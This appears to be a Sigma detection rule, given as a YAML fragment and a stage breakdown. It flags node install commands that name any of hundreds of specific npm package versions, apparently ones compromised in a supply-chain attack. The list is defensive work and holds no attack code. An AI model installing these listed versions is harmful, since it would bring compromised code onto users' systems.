            - 'ai-crowl-shield@1.0.7'
            - 'arc-cli-fc@1.0.1'
            - 'asciitranslator@1.0.3'
            - 'asyncapi-preview@1.0.1'
            - 'asyncapi-preview@1.0.2'
            - 'atrix-mongoose@1.0.1'
            - 'atrix@1.0.1'
            - 'automation_model@1.0.491'
            - 'avvvatars-vue@1.1.2'
            - 'axios-builder@1.2.1'
            - 'axios-cancelable@1.0.1'
            - 'axios-cancelable@1.0.2'
            - 'axios-timed@1.0.1'
            - 'axios-timed@1.0.2'
            - 'babel-preset-kinvey-flex-service@0.1.1'
            - 'barebones-css@1.1.3'
            - 'barebones-css@1.1.4'
            - 'benmostyn-frame-print@1.0.1'
            - 'bestgpiocontroller@1.0.10'
            - 'better-auth-nuxt@0.0.10'
            - 'better-queue-nedb@0.1.5'
            - 'bidirectional-adapter@1.2.2'
            - 'bidirectional-adapter@1.2.3'
            - 'bidirectional-adapter@1.2.4'
            - 'bidirectional-adapter@1.2.5'
            - 'blinqio-executions-cli@1.0.41'
            - 'blob-to-base64@1.0.3'
            - 'bool-expressions@0.1.2'
            - 'buffered-interpolation-babylon6@0.2.8'
            - 'bun-plugin-httpfile@0.1.1'
            - 'bytecode-checker-cli@1.0.10'
            - 'bytecode-checker-cli@1.0.11'
            - 'bytecode-checker-cli@1.0.8'
            - 'bytecode-checker-cli@1.0.9'
            - 'bytes-to-x@1.0.1'
            - 'calc-loan-interest@1.0.4'
            - 'capacitor-plugin-apptrackingios@0.0.21'
            - 'capacitor-plugin-purchase@0.1.1'
            - 'capacitor-plugin-scgssigninwithgoogle@0.0.5'
            - 'capacitor-purchase-history@0.0.10'
            - 'capacitor-voice-recorder-wav@6.0.3'
            - 'cbre-flow-common@1.3.1'
            - 'cbre-flow-common@1.3.2'
            - 'ceviz@0.0.5'
            - 'chrome-extension-downloads@0.0.3'
            - 'chrome-extension-downloads@0.0.4'
            - 'claude-token-updater@1.0.3'
            - 'coinmarketcap-api@3.1.2'
            - 'coinmarketcap-api@3.1.3'
            - 'colors-regex@2.0.1'
            - 'command-irail@0.5.4'
            - 'compare-obj@1.1.1'
            - 'compare-obj@1.1.2'
            - 'composite-reducer@1.0.2'
            - 'composite-reducer@1.0.3'
            - 'composite-reducer@1.0.4'
            - 'composite-reducer@1.0.5'
            - 'count-it-down@1.0.1'
            - 'count-it-down@1.0.2'
            - 'cpu-instructions@0.0.14'
            - 'create-director-app@0.1.1'
            - 'create-glee-app@0.2.2'
            - 'create-glee-app@0.2.3'
            - 'create-hardhat3-app@1.1.1'
            - 'create-hardhat3-app@1.1.2'
            - 'create-hardhat3-app@1.1.3'
            - 'create-hardhat3-app@1.1.4'
            - 'create-kinvey-flex-service@0.2.1'
            - 'create-mcp-use-app@0.5.3'
            - 'create-mcp-use-app@0.5.4'
            - 'create-silgi@0.3.1'
            - 'crypto-addr-codec@0.1.9'
            - 'css-dedoupe@0.1.2'
            - 'csv-tool-cli@1.2.1'
            - 'dashboard-empty-state@1.0.3'
            - 'designstudiouiux@1.0.1'
            - 'devstart-cli@1.0.6'
            - 'dialogflow-es@1.1.1'
            - 'dialogflow-es@1.1.2'
            - 'dialogflow-es@1.1.3'
            - 'dialogflow-es@1.1.4'
            - 'discord-bot-server@0.1.2'
            - 'docusaurus-plugin-vanilla-extract@1.0.3'
            - 'dont-go@1.1.2'
            - 'dotnet-template@0.0.3'
            - 'dotnet-template@0.0.4'
            - 'drop-events-on-property-plugin@0.0.2'
            - 'easypanel-sdk@0.3.2'
            - 'electron-volt@0.0.2'
            - 'email-deliverability-tester@1.1.1'
            - 'enforce-branch-name@1.1.3'
            - 'esbuild-plugin-brotli@0.2.1'
            - 'esbuild-plugin-eta@0.1.1'
            - 'esbuild-plugin-httpfile@0.4.1'
            - 'eslint-config-kinvey-flex-service@0.1.1'
            - 'eslint-config-nitpicky@4.0.1'
            - 'eslint-config-trigo@22.0.2'
            - 'eslint-config-zeallat-base@1.0.4'
            - 'ethereum-ens@0.8.1'
            - 'evm-checkcode-cli@1.0.12'
            - 'evm-checkcode-cli@1.0.13'
            - 'evm-checkcode-cli@1.0.14'
            - 'evm-checkcode-cli@1.0.15'
            - 'exact-ticker@0.3.5'
            - 'expo-audio-session@0.2.1'
            - 'expo-router-on-rails@0.0.4'
            - 'express-starter-template@1.0.10'
            - 'expressos@1.1.3'
            - 'fat-fingered@1.0.1'
            - 'fat-fingered@1.0.2'
            - 'feature-flip@1.0.1'
            - 'feature-flip@1.0.2'
            - 'firestore-search-engine@1.2.3'
            - 'fittxt@1.0.2'
            - 'fittxt@1.0.3'
            - 'flapstacks@1.0.1'
            - 'flapstacks@1.0.2'
            - 'flatten-unflatten@1.0.1'
            - 'flatten-unflatten@1.0.2'
            - 'formik-error-focus@2.0.1'
            - 'formik-store@1.0.1'
            - 'frontity-starter-theme@1.0.1'
            - 'fuzzy-finder@1.0.5'
            - 'fuzzy-finder@1.0.6'
            - 'gate-evm-check-code2@2.0.3'
            - 'gate-evm-check-code2@2.0.4'
            - 'gate-evm-check-code2@2.0.5'
            - 'gate-evm-check-code2@2.0.6'
            - 'gate-evm-tools-test@1.0.5'
            - 'gate-evm-tools-test@1.0.6'
            - 'gate-evm-tools-test@1.0.7'
            - 'gate-evm-tools-test@1.0.8'
            - 'gatsby-plugin-antd@2.2.1'
            - 'gatsby-plugin-cname@1.0.1'
            - 'gatsby-plugin-cname@1.0.2'
            - 'generator-meteor-stock@0.1.6'
            - 'generator-ng-itobuz@0.0.15'
            - 'get-them-args@1.3.3'
            - 'github-action-for-generator@2.1.27'
            - 'github-action-for-generator@2.1.28'
            - 'gitsafe@1.0.5'
            - 'go-template@0.1.8'
            - 'go-template@0.1.9'
            - 'gulp-inject-envs@1.2.1'
            - 'gulp-inject-envs@1.2.2'
            - 'haufe-axera-api-client@0.0.1'
            - 'haufe-axera-api-client@0.0.2'
            - 'hope-mapboxdraw@0.1.1'
            - 'hopedraw@1.0.3'
            - 'hover-design-prototype@0.0.5'
            - 'httpness@1.0.2'
            - 'httpness@1.0.3'
            - 'hyper-fullfacing@1.0.3'
            - 'hyperterm-hipster@1.0.7'
            - 'ids-css@1.5.1'
            - 'ids-enterprise-mcp-server@0.0.2'
            - 'ids-enterprise-ng@20.1.6'
            - 'ids-enterprise-typings@20.1.6'
            - 'image-to-uri@1.0.1'
            - 'image-to-uri@1.0.2'
            - 'insomnia-plugin-random-pick@1.0.4'
            - 'invo@0.2.2'
            - 'iron-shield-miniapp@0.0.2'
            - 'ito-button@8.0.3'
            - 'itobuz-angular-auth@8.0.11'
            - 'itobuz-angular-button@8.0.11'
            - 'itobuz-angular@0.0.1'
            - 'jacob-zuma@1.0.1'
            - 'jacob-zuma@1.0.2'
            - 'jaetut-varit-test@1.0.2'
            - 'jan-browser@0.13.1'
            - 'jquery-bindings@1.1.2'
            - 'jquery-bindings@1.1.3'
            - 'jsonsurge@1.0.7'
            - 'just-toasty@1.7.1'
            - 'kill-port@2.0.2'
            - 'kill-port@2.0.3'
            - 'kinetix-default-token-list@1.0.5'
            - 'kinvey-cli-wrapper@0.3.1'
            - 'kinvey-flex-scripts@0.5.1'
            - 'kns-error-code@1.0.8'
            - 'korea-administrative-area-geo-json-util@1.0.7'
            - 'kwami@1.5.10'
            - 'kwami@1.5.9'
            - 'lang-codes@1.0.1'
            - 'lang-codes@1.0.2'
            - 'license-o-matic@1.2.1'
            - 'license-o-matic@1.2.2'
            - 'lint-staged-imagemin@1.3.1'
            - 'lint-staged-imagemin@1.3.2'
            - 'lite-serper-mcp-server@0.2.2'
            - 'lui-vue-test@0.70.9'
            - 'luno-api@1.2.3'
            - 'm25-transaction-utils@1.1.16'
            - 'manual-billing-system-miniapp-api@1.3.1'
            - 'mcp-use@1.4.2'
            - 'mcp-use@1.4.3'
            - 'medusa-plugin-announcement@0.0.3'
            - 'medusa-plugin-logs@0.0.17'
            - 'medusa-plugin-momo@0.0.68'
            - 'medusa-plugin-product-reviews-kvy@0.0.4'
            - 'medusa-plugin-zalopay@0.0.40'
            - 'mod10-check-digit@1.0.1'
            - 'mon-package-react-typescript@1.0.1'
            - 'my-saeed-lib@0.1.1'
            - 'n8n-nodes-tmdb@0.5.1'
            - 'n8n-nodes-vercel-ai-sdk@0.1.7'
            - 'n8n-nodes-viral-app@0.2.5'
            - 'nanoreset@7.0.1'
            - 'nanoreset@7.0.2'
            - 'next-circular-dependency@1.0.2'
            - 'next-circular-dependency@1.0.3'
            - 'next-simple-google-analytics@1.1.1'
            - 'next-simple-google-analytics@1.1.2'
            - 'next-styled-nprogress@1.0.4'
            - 'next-styled-nprogress@1.0.5'
            - 'ngx-useful-swiper-prosenjit@9.0.2'
            - 'ngx-wooapi@12.0.1'
            - 'nitro-graphql@1.5.12'
            - 'nitro-kutu@0.1.1'
            - 'nitrodeploy@1.0.8'
            - 'nitroping@0.1.1'
            - 'normal-store@1.3.1'
            - 'normal-store@1.3.2'
            - 'normal-store@1.3.3'
            - 'normal-store@1.3.4'
            - 'nuxt-keycloak@0.2.2'
            - 'obj-to-css@1.0.2'
            - 'obj-to-css@1.0.3'
            - 'okta-react-router-6@5.0.1'
            - 'open2internet@0.1.1'
            - 'orbit-boxicons@2.1.3'
            - 'orbit-nebula-draw-tools@1.0.10'
            - 'orbit-nebula-editor@1.0.2'
            - 'orbit-soap@0.43.13'
            - 'orchestrix@12.1.2'
            - 'package-tester@1.0.1'
            - 'parcel-plugin-asset-copier@1.1.2'
            - 'parcel-plugin-asset-copier@1.1.3'
            - 'pdf-annotation@0.0.2'
            - 'pergel@0.13.2'
            - 'pergeltest@0.0.25'
            - 'piclite@1.0.1'
            - 'pico-uid@1.0.3'
            - 'pico-uid@1.0.4'
            - 'pkg-readme@1.1.1'
            - 'poper-react-sdk@0.1.2'
            - 'posthog-docusaurus@2.0.6'
            - 'posthog-js@1.297.3'
            - 'posthog-node@4.18.1'
            - 'posthog-node@5.11.3'
            - 'posthog-node@5.13.3'
            - 'posthog-plugin-hello-world@1.0.1'
            - 'posthog-react-native-session-replay@1.2.2'
            - 'posthog-react-native@4.11.1'
            - 'posthog-react-native@4.12.5'
            - 'prime-one-table@0.0.19'
            - 'prompt-eng-server@1.0.18'
            - 'prompt-eng@1.0.50'
            - 'puny-req@1.0.3'
            - 'quickswap-ads-list@1.0.33'
            - 'quickswap-default-staking-list-address@1.0.55'
            - 'quickswap-default-staking-list@1.0.11'
            - 'quickswap-default-token-list@1.5.16'
            - 'quickswap-router-sdk@1.0.1'
            - 'quickswap-sdk@3.0.44'
            - 'quickswap-smart-order-router@1.0.1'
            - 'quickswap-token-lists@1.0.3'
            - 'quickswap-v2-sdk@2.0.1'
            - 'ra-auth-firebase@1.0.3'
            - 'ra-data-firebase@1.0.7'
            - 'ra-data-firebase@1.0.8'
            - 'react-component-taggers@0.1.9'
            - 'react-data-to-export@1.0.1'
            - 'react-element-prompt-inspector@0.1.18'
            - 'react-favic@1.0.2'
            - 'react-hook-form-persist@3.0.1'
            - 'react-hook-form-persist@3.0.2'
            - 'react-jam-icons@1.0.1'
            - 'react-jam-icons@1.0.2'
            - 'react-keycloak-context@1.0.8'
            - 'react-keycloak-context@1.0.9'
            - 'react-library-setup@0.0.6'
            - 'react-linear-loader@1.0.2'
            - 'react-micromodal.js@1.0.1'
            - 'react-micromodal.js@1.0.2'
            - 'react-native-datepicker-modal@1.3.1'
            - 'react-native-datepicker-modal@1.3.2'
            - 'react-native-email@2.1.1'
            - 'react-native-email@2.1.2'
            - 'react-native-fetch@2.0.1'
            - 'react-native-fetch@2.0.2'
            - 'react-native-get-pixel-dimensions@1.0.1'
            - 'react-native-get-pixel-dimensions@1.0.2'
            - 'react-native-google-maps-directions@2.1.2'
            - 'react-native-jam-icons@1.0.1'
            - 'react-native-jam-icons@1.0.2'
            - 'react-native-log-level@1.2.1'
            - 'react-native-log-level@1.2.2'
            - 'react-native-modest-checkbox@3.3.1'
            - 'react-native-modest-storage@2.1.1'
            - 'react-native-phone-call@1.2.1'
            - 'react-native-phone-call@1.2.2'
            - 'react-native-retriable-fetch@2.0.1'
            - 'react-native-retriable-fetch@2.0.2'
            - 'react-native-use-modal@1.0.3'
            - 'react-native-view-finder@1.2.1'
            - 'react-native-view-finder@1.2.2'
            - 'react-native-websocket@1.0.3'
            - 'react-native-websocket@1.0.4'
            - 'react-native-worklet-functions@3.3.3'
            - 'react-packery-component@1.0.3'
            - 'react-qr-image@1.1.1'
            - 'react-scrambled-text@1.0.4'
            - 'rediff-viewer@0.0.7'
            - 'rediff@1.0.5'
            - 'redux-forge@2.5.3'
            - 'redux-router-kit@1.2.2'
            - 'redux-router-kit@1.2.3'
            - 'redux-router-kit@1.2.4'
            - 'revenuecat@1.0.1'
            - 'rollup-plugin-httpfile@0.2.1'
            - 'sa-company-registration-number-regex@1.0.1'
            - 'sa-company-registration-number-regex@1.0.2'
            - 'sa-id-gen@1.0.4'
            - 'sa-id-gen@1.0.5'
            - 'samesame@1.0.3'
            - 'scgs-capacitor-subscribe@1.0.11'
            - 'scgsffcreator@1.0.5'
            - 'schob@1.0.3'
            - 'selenium-session-client@1.0.4'
            - 'selenium-session@1.0.5'
            - 'set-nested-prop@2.0.1'
            - 'set-nested-prop@2.0.2'
            - 'shelf-jwt-sessions@0.1.2'
            - 'shell-exec@1.1.3'
            - 'shell-exec@1.1.4'
            - 'shinhan-limit-scrap@1.0.3'
            - 'silgi@0.43.30'
            - 'simplejsonform@1.0.1'
            - 'skills-use@0.1.1'
            - 'skills-use@0.1.2'
            - 'solomon-api-stories@1.0.2'
            - 'solomon-v3-stories@1.15.6'
            - 'solomon-v3-ui-wrapper@1.6.1'
            - 'soneium-acs@1.0.1'
            - 'sort-by-distance@2.0.1'
            - 'south-african-id-info@1.0.2'
            - 'stat-fns@1.0.1'
            - 'stoor@2.3.2'
            - 'sufetch@0.4.1'
            - 'super-commit@1.0.1'
            - 'svelte-autocomplete-select@1.1.1'
            - 'svelte-toasty@1.1.2'
            - 'svelte-toasty@1.1.3'
            - 'tanstack-shadcn-table@1.1.5'
            - 'tavily-module@1.0.1'
            - 'tcsp-draw-test@1.0.5'
            - 'tcsp-test-vd@2.4.4'
            - 'tcsp@2.0.2'
            - 'template-lib@1.1.3'
            - 'template-lib@1.1.4'
            - 'template-micro-service@1.0.2'
            - 'template-micro-service@1.0.3'
            - 'tenacious-fetch@2.3.2'
            - 'tenacious-fetch@2.3.3'
            - 'test-foundry-app@1.0.1'
            - 'test-foundry-app@1.0.2'
            - 'test-foundry-app@1.0.3'
            - 'test-foundry-app@1.0.4'
            - 'test-hardhat-app@1.0.1'
            - 'test-hardhat-app@1.0.2'
            - 'test-hardhat-app@1.0.3'
            - 'test-hardhat-app@1.0.4'
            - 'test23112222-api@1.0.1'
            - 'tiaan@1.0.2'
            - 'tiptap-shadcn-vue@0.2.1'
            - 'token.js-fork@0.7.32'
            - 'toonfetch@0.3.2'
            - 'trigo-react-app@4.1.2'
            - 'ts-relay-cursor-paging@2.1.1'
            - 'typeface-antonio-complete@1.0.5'
            - 'typefence@1.2.2'
            - 'typefence@1.2.3'
            - 'typeorm-orbit@0.2.27'
            - 'unadapter@0.1.3'
            - 'undefsafe-typed@1.0.3'
            - 'undefsafe-typed@1.0.4'
            - 'unemail@0.3.1'
            - 'uniswap-router-sdk@1.6.2'
            - 'uniswap-smart-order-router@3.16.26'
            - 'uniswap-test-sdk-core@4.0.8'
            - 'unsearch@0.0.3'
            - 'uplandui@0.5.4'
            - 'upload-to-play-store@1.0.1'
            - 'upload-to-play-store@1.0.2'
            - 'url-encode-decode@1.0.1'
            - 'url-encode-decode@1.0.2'
            - 'use-unsaved-changes@1.0.9'
            - 'v-plausible@1.2.1'
            - 'valid-south-african-id@1.0.3'
            - 'valuedex-sdk@3.0.5'
            - 'vf-oss-template@1.0.1'
            - 'vf-oss-template@1.0.2'
            - 'vf-oss-template@1.0.3'
            - 'vf-oss-template@1.0.4'
            - 'victoria-wallet-constants@0.1.1'
            - 'victoria-wallet-constants@0.1.2'
            - 'victoria-wallet-core@0.1.1'
            - 'victoria-wallet-core@0.1.2'
            - 'victoria-wallet-type@0.1.1'
            - 'victoria-wallet-type@0.1.2'
            - 'victoria-wallet-utils@0.1.1'
            - 'victoria-wallet-utils@0.1.2'
            - 'victoria-wallet-validator@0.1.1'
            - 'victoria-wallet-validator@0.1.2'
            - 'victoriaxoaquyet-wallet-core@0.2.1'
            - 'victoriaxoaquyet-wallet-core@0.2.2'
            - 'vite-plugin-httpfile@0.2.1'
            - 'vue-browserupdate-nuxt@1.0.5'
            - 'wallet-evm@0.3.1'
            - 'wallet-evm@0.3.2'
            - 'wallet-type@0.1.1'
            - 'wallet-type@0.1.2'
            - 'web-scraper-mcp@1.1.4'
            - 'web-types-htmx@0.1.1'
            - 'web-types-lit@0.1.1'
            - 'webpack-loader-httpfile@0.2.1'
            - 'wellness-expert-ng-gallery@5.1.1'
            - 'wenk@1.0.10'
            - 'wenk@1.0.9'
            - 'zapier-async-storage@1.0.1'
            - 'zapier-async-storage@1.0.2'
            - 'zapier-async-storage@1.0.3'
            - 'zapier-platform-cli@18.0.2'
            - 'zapier-platform-cli@18.0.3'
            - 'zapier-platform-cli@18.0.4'
            - 'zapier-platform-core@18.0.2'
            - 'zapier-platform-core@18.0.3'
            - 'zapier-platform-core@18.0.4'
            - 'zapier-platform-legacy-scripting-runner@4.0.2'
            - 'zapier-platform-legacy-scripting-runner@4.0.3'
            - 'zapier-platform-legacy-scripting-runner@4.0.4'
            - 'zapier-platform-schema@18.0.2'
            - 'zapier-platform-schema@18.0.3'
            - 'zapier-platform-schema@18.0.4'
            - 'zapier-scripts@7.8.3'
            - 'zapier-scripts@7.8.4'
            - 'zuper-cli@1.0.1'
            - 'zuper-sdk@1.0.57'
            - 'zuper-stream@2.0.9'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    Image|endswith: '\node'
    CommandLine|contains:
        - 'install'
        - ' i '

Stage 2: selection_packages

selection_packages:
    CommandLine|contains:
        - '02-echo@0.0.7'
        - '@accordproject/concerto-analysis@3.24.1'
        - '@accordproject/concerto-linter@3.24.1'
        - '@accordproject/concerto-linter-default-ruleset@3.24.1'
        - '@accordproject/concerto-metamodel@3.12.5'
        - '@accordproject/concerto-types@3.24.1'
        - '@accordproject/markdown-it-cicero@0.16.26'
        - '@accordproject/template-engine@2.7.2'
        - '@actbase/css-to-react-native-transform@1.0.3'
        - '@actbase/native@0.1.32'
        - '@actbase/node-server@1.1.19'
        - '@actbase/react-absolute@0.8.3'
        - '@actbase/react-daum-postcode@1.0.5'
        - '@actbase/react-kakaosdk@0.9.27'
        - '@actbase/react-native-actionsheet@1.0.3'
        - '@actbase/react-native-devtools@0.1.3'
        - '@actbase/react-native-fast-image@8.5.13'
        - '@actbase/react-native-kakao-channel@1.0.2'
        - '@actbase/react-native-kakao-navi@2.0.4'
        - '@actbase/react-native-less-transformer@1.0.6'
        - '@actbase/react-native-naver-login@1.0.1'
        - '@actbase/react-native-simple-video@1.0.13'
        - '@actbase/react-native-tiktok@1.1.3'
        - '@afetcan/api@0.0.13'
        - '@afetcan/storage@0.0.27'
        - '@alaan/s2s-auth@2.0.3'
        - '@alexadark/amadeus-api@1.0.4'
        - '@alexadark/gatsby-theme-events@1.0.1'
        - '@alexadark/gatsby-theme-wordpress-blog@2.0.1'
        - '@alexadark/reusable-functions@1.5.1'
        - '@alexcolls/nuxt-socket.io@0.0.7'
        - '@alexcolls/nuxt-socket.io@0.0.8'
        - '@alexcolls/nuxt-ux@0.6.1'
        - '@alexcolls/nuxt-ux@0.6.2'
        - '@antstackio/eslint-config-antstack@0.0.3'
        - '@antstackio/express-graphql-proxy@0.2.8'
        - '@antstackio/graphql-body-parser@0.1.1'
        - '@antstackio/json-to-graphql@1.0.3'
        - '@antstackio/shelbysam@1.1.7'
        - '@aryanhussain/my-angular-lib@0.0.23'
        - '@asyncapi/avro-schema-parser@3.0.25'
        - '@asyncapi/avro-schema-parser@3.0.26'
        - '@asyncapi/bundler@0.6.5'
        - '@asyncapi/bundler@0.6.6'
        - '@asyncapi/cli@4.1.2'
        - '@asyncapi/cli@4.1.3'
        - '@asyncapi/converter@1.6.3'
        - '@asyncapi/converter@1.6.4'
        - '@asyncapi/diff@0.5.1'
        - '@asyncapi/diff@0.5.2'
        - '@asyncapi/dotnet-rabbitmq-template@1.0.1'
        - '@asyncapi/dotnet-rabbitmq-template@1.0.2'
        - '@asyncapi/edavisualiser@1.2.1'
        - '@asyncapi/edavisualiser@1.2.2'
        - '@asyncapi/generator-components@0.3.2'
        - '@asyncapi/generator-components@0.3.3'
        - '@asyncapi/generator-react-sdk@1.1.4'
        - '@asyncapi/generator-react-sdk@1.1.5'
        - '@asyncapi/generator@2.8.5'
        - '@asyncapi/generator@2.8.6'
        - '@asyncapi/go-watermill-template@0.2.76'
        - '@asyncapi/go-watermill-template@0.2.77'
        - '@asyncapi/html-template@3.3.2'
        - '@asyncapi/html-template@3.3.3'
        - '@asyncapi/java-spring-cloud-stream-template@0.13.5'
        - '@asyncapi/java-spring-cloud-stream-template@0.13.6'
        - '@asyncapi/java-spring-template@1.6.1'
        - '@asyncapi/java-spring-template@1.6.2'
        - '@asyncapi/java-template@0.3.5'
        - '@asyncapi/java-template@0.3.6'
        - '@asyncapi/keeper@0.0.2'
        - '@asyncapi/keeper@0.0.3'
        - '@asyncapi/markdown-template@1.6.8'
        - '@asyncapi/markdown-template@1.6.9'
        - '@asyncapi/modelina-cli@5.10.2'
        - '@asyncapi/modelina-cli@5.10.3'
        - '@asyncapi/modelina@5.10.2'
        - '@asyncapi/modelina@5.10.3'
        - '@asyncapi/multi-parser@2.2.1'
        - '@asyncapi/multi-parser@2.2.2'
        - '@asyncapi/nodejs-template@3.0.5'
        - '@asyncapi/nodejs-template@3.0.6'
        - '@asyncapi/nodejs-ws-template@0.10.1'
        - '@asyncapi/nodejs-ws-template@0.10.2'
        - '@asyncapi/nunjucks-filters@2.1.1'
        - '@asyncapi/nunjucks-filters@2.1.2'
        - '@asyncapi/openapi-schema-parser@3.0.25'
        - '@asyncapi/openapi-schema-parser@3.0.26'
        - '@asyncapi/optimizer@1.0.5'
        - '@asyncapi/optimizer@1.0.6'
        - '@asyncapi/parser@3.4.1'
        - '@asyncapi/parser@3.4.2'
        - '@asyncapi/php-template@0.1.1'
        - '@asyncapi/php-template@0.1.2'
        - '@asyncapi/problem@1.0.1'
        - '@asyncapi/problem@1.0.2'
        - '@asyncapi/protobuf-schema-parser@3.5.2'
        - '@asyncapi/protobuf-schema-parser@3.5.3'
        - '@asyncapi/protobuf-schema-parser@3.6.1'
        - '@asyncapi/python-paho-template@0.2.14'
        - '@asyncapi/python-paho-template@0.2.15'
        - '@asyncapi/react-component@2.6.6'
        - '@asyncapi/react-component@2.6.7'
        - '@asyncapi/server-api@0.16.24'
        - '@asyncapi/server-api@0.16.25'
        - '@asyncapi/specs@6.10.1'
        - '@asyncapi/specs@6.8.2'
        - '@asyncapi/specs@6.8.3'
        - '@asyncapi/specs@6.9.1'
        - '@asyncapi/studio@1.0.2'
        - '@asyncapi/studio@1.0.3'
        - '@asyncapi/web-component@2.6.6'
        - '@asyncapi/web-component@2.6.7'
        - '@bdkinc/knex-ibmi@0.5.7'
        - '@browserbasehq/bb9@1.2.21'
        - '@browserbasehq/director-ai@1.0.3'
        - '@browserbasehq/mcp-server-browserbase@2.4.2'
        - '@browserbasehq/mcp@2.1.1'
        - '@browserbasehq/sdk-functions@0.0.4'
        - '@browserbasehq/stagehand-docs@1.0.1'
        - '@browserbasehq/stagehand@3.0.4'
        - '@caretive/caret-cli@0.0.2'
        - '@chtijs/eslint-config@1.0.1'
        - '@clausehq/flows-step-httprequest@0.1.14'
        - '@clausehq/flows-step-jsontoxml@0.1.14'
        - '@clausehq/flows-step-mqtt@0.1.14'
        - '@clausehq/flows-step-sendgridemail@0.1.14'
        - '@clausehq/flows-step-taskscreateurl@0.1.14'
        - '@cllbk/ghl@1.3.1'
        - '@commute/bloom@1.0.3'
        - '@commute/market-data-chartjs@2.3.1'
        - '@commute/market-data@1.0.2'
        - '@dev-blinq/ai-qa-logic@1.0.19'
        - '@dev-blinq/blinqioclient@1.0.21'
        - '@dev-blinq/cucumber-js@1.0.131'
        - '@dev-blinq/cucumber_client@1.0.738'
        - '@dev-blinq/ui-systems@1.0.93'
        - '@elsedev/react-csr-sdk@0.2.2'
        - '@ensdomains/address-encoder@1.1.5'
        - '@ensdomains/blacklist@1.0.1'
        - '@ensdomains/buffer@0.1.2'
        - '@ensdomains/ccip-read-cf-worker@0.0.4'
        - '@ensdomains/ccip-read-dns-gateway@0.1.1'
        - '@ensdomains/ccip-read-router@0.0.7'
        - '@ensdomains/ccip-read-worker-viem@0.0.4'
        - '@ensdomains/content-hash@3.0.1'
        - '@ensdomains/curvearithmetics@1.0.1'
        - '@ensdomains/cypress-metamask@1.2.1'
        - '@ensdomains/dnsprovejs@0.5.3'
        - '@ensdomains/dnssec-oracle-anchors@0.0.2'
        - '@ensdomains/dnssecoraclejs@0.2.9'
        - '@ensdomains/durin-middleware@0.0.2'
        - '@ensdomains/durin@0.1.2'
        - '@ensdomains/ens-archived-contracts@0.0.3'
        - '@ensdomains/ens-avatar@1.0.4'
        - '@ensdomains/ens-contracts@1.6.1'
        - '@ensdomains/ens-test-env@1.0.2'
        - '@ensdomains/ens-validation@0.1.1'
        - '@ensdomains/ensjs-react@0.0.5'
        - '@ensdomains/ensjs@4.0.3'
        - '@ensdomains/eth-ens-namehash@2.0.16'
        - '@ensdomains/hackathon-registrar@1.0.5'
        - '@ensdomains/hardhat-chai-matchers-viem@0.1.15'
        - '@ensdomains/hardhat-toolbox-viem-extended@0.0.6'
        - '@ensdomains/mock@2.1.52'
        - '@ensdomains/name-wrapper@1.0.1'
        - '@ensdomains/offchain-resolver-contracts@0.2.2'
        - '@ensdomains/op-resolver-contracts@0.0.2'
        - '@ensdomains/react-ens-address@0.0.32'
        - '@ensdomains/renewal-widget@0.1.10'
        - '@ensdomains/renewal@0.0.13'
        - '@ensdomains/reverse-records@1.0.1'
        - '@ensdomains/server-analytics@0.0.2'
        - '@ensdomains/solsha1@0.0.4'
        - '@ensdomains/subdomain-registrar@0.2.4'
        - '@ensdomains/test-utils@1.3.1'
        - '@ensdomains/thorin@0.6.51'
        - '@ensdomains/ui@3.4.6'
        - '@ensdomains/unicode-confusables@0.1.1'
        - '@ensdomains/unruggable-gateways@0.0.3'
        - '@ensdomains/vite-plugin-i18next-loader@4.0.4'
        - '@ensdomains/web3modal@1.10.2'
        - '@everreal/react-charts@2.0.1'
        - '@everreal/react-charts@2.0.2'
        - '@everreal/validate-esmoduleinterop-imports@1.4.4'
        - '@everreal/validate-esmoduleinterop-imports@1.4.5'
        - '@everreal/web-analytics@0.0.1'
        - '@everreal/web-analytics@0.0.2'
        - '@faq-component/core@0.0.4'
        - '@faq-component/react@1.0.1'
        - '@fishingbooker/browser-sync-plugin@1.0.5'
        - '@fishingbooker/react-loader@1.0.7'
        - '@fishingbooker/react-pagination@2.0.6'
        - '@fishingbooker/react-raty@2.0.1'
        - '@fishingbooker/react-swiper@0.1.5'
        - '@hapheus/n8n-nodes-pgp@1.5.1'
        - '@hover-design/core@0.0.1'
        - '@hover-design/react@0.2.1'
        - '@huntersofbook/auth-vue@0.4.2'
        - '@huntersofbook/core-nuxt@0.4.2'
        - '@huntersofbook/core@0.5.1'
        - '@huntersofbook/form-naiveui@0.5.1'
        - '@huntersofbook/i18n@0.8.2'
        - '@huntersofbook/ui@0.5.1'
        - '@hyperlook/telemetry-sdk@1.0.19'
        - '@ifelsedeveloper/protocol-contracts-svm-idl@0.1.2'
        - '@ifelsedeveloper/protocol-contracts-svm-idl@0.1.3'
        - '@ifings/design-system@4.9.2'
        - '@ifings/metatron3@0.1.5'
        - '@jayeshsadhwani/telemetry-sdk@1.0.14'
        - '@kvytech/cli@0.0.7'
        - '@kvytech/components@0.0.2'
        - '@kvytech/habbit-e2e-test@0.0.2'
        - '@kvytech/medusa-plugin-announcement@0.0.8'
        - '@kvytech/medusa-plugin-management@0.0.5'
        - '@kvytech/medusa-plugin-newsletter@0.0.5'
        - '@kvytech/medusa-plugin-product-reviews@0.0.9'
        - '@kvytech/medusa-plugin-promotion@0.0.2'
        - '@kvytech/web@0.0.2'
        - '@lessondesk/api-client@9.12.2'
        - '@lessondesk/api-client@9.12.3'
        - '@lessondesk/babel-preset@1.0.1'
        - '@lessondesk/electron-group-api-client@1.0.3'
        - '@lessondesk/eslint-config@1.4.2'
        - '@lessondesk/material-icons@1.0.3'
        - '@lessondesk/react-table-context@2.0.4'
        - '@lessondesk/schoolbus@5.2.2'
        - '@lessondesk/schoolbus@5.2.3'
        - '@livecms/live-edit@0.0.32'
        - '@livecms/nuxt-live-edit@1.9.2'
        - '@lokeswari-satyanarayanan/rn-zustand-expo-template@1.0.9'
        - '@louisle2/core@1.0.1'
        - '@louisle2/cortex-js@0.1.6'
        - '@lpdjs/firestore-repo-service@1.0.1'
        - '@lui-ui/lui-nuxt@0.1.1'
        - '@lui-ui/lui-tailwindcss@0.1.2'
        - '@lui-ui/lui-vue@1.0.13'
        - '@markvivanco/app-version-checker@1.0.1'
        - '@markvivanco/app-version-checker@1.0.2'
        - '@mcp-use/cli@2.2.6'
        - '@mcp-use/cli@2.2.7'
        - '@mcp-use/inspector@0.6.2'
        - '@mcp-use/inspector@0.6.3'
        - '@mcp-use/mcp-use@1.0.1'
        - '@mcp-use/mcp-use@1.0.2'
        - '@micado-digital/stadtmarketing-kufstein-external@1.9.1'
